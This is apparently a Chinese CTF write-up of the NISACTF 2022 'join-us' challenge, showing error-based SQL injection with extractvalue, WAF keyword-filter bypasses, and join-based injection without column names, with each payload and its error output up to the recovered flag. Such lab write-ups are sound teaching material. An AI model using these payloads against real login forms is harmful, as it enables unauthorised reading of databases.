[NISACTF 2022]join-us - 报错注入&无列名注入

点击登录,找到注入点

这种框,可以直接爆破关键字,看是否拦截,也可以手动尝试,发现=、union、and、or、substr、database等关键字都拦截了

1、学到了:可以用数据库中不存在的表名或者不存在的自定义函数名爆出数据库名,1'-a()#1' || (select * from aa)#

FUNCTION sqlsql.a does not exist

2、直接甩一个报错注入上去,extractvalue(0,concat(0x7e,1,0x7e));#

没拦截,说明可以试一下

3、1' || extractvalue(0,concat(0x7e,1,0x7e));#

XPATH syntax error: '~ 1 ~',说明报错成功了

4、1' || extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'),1,30),0x7e));#

XPATH syntax error: '~ Fal_flag,output ~'

5、1' || extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from Fal_flag),1,100),0x7e));#

不要耍小心思喔~ ------ column被waf,无列名注入

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag as a join Fal_flag as b)as c),1,100),0x7e));#

不要耍小心思喔~ ------ as被waf,去掉as

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b) c),1,100),0x7e));#

Duplicate column name 'id'

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b using(id)) c),1,100),0x7e));#

Duplicate column name 'data'

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b using(id,data)) c),1,100),0x7e));#

Duplicate column name 'i_tell_u_this_is_Fal(se)_flag_is_in_another' ------ flag在另一个表(output)

6、1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b) c),1,100),0x7e));#

Duplicate column name 'data'

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b using(data)) c),1,100),0x7e));#

XPATH syntax error: '~ NSSCTF{77a4667a-b16e-46a6-87...'

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b using(data)) c),20,100),0x7e));#

XPATH syntax error: '~ e-46a6-87fc-f981f48eeb5c} ~'

相关推荐
小蒜学长29 分钟前
jsp基于JavaWeb的原色蛋糕商城的设计与实现(代码+数据库+LW)
java·开发语言·数据库·spring boot·后端
Bruce_Liuxiaowei3 小时前
MQTT协议在物联网环境中的安全风险与防范指南
运维·网络·物联网·安全·网络安全
青衫客367 小时前
基于 Python 构建的安全 gRPC 服务——TLS、mTLS 与 Casbin 授权实战
python·安全·微服务
驱动开发0078 小时前
虚拟麦克风驱动下载,支持将手机话筒映射成PC端麦克风
驱动开发·安全
摩羯座-185690305949 小时前
爬坑 10 年!京东店铺全量商品接口实战开发:从分页优化、SKU 关联到数据完整性闭环
linux·网络·数据库·windows·爬虫·python
YoungLime10 小时前
DVWA靶场之十三:CSP 绕过(Content Security Policy (CSP) Bypass)
网络·安全·web安全
编程充电站pro10 小时前
SQL 面试高频:INNER JOIN vs LEFT JOIN 怎么考?
数据库·sql
这周也會开心10 小时前
SQL-窗口函数做题总结
数据库·sql
间彧11 小时前
TiDB详解与Spring Boot实战指南
数据库
极限实验室11 小时前
Easysearch 字段'隐身'之谜:source_reuse 与 ignore_above 的陷阱解析
数据库·redis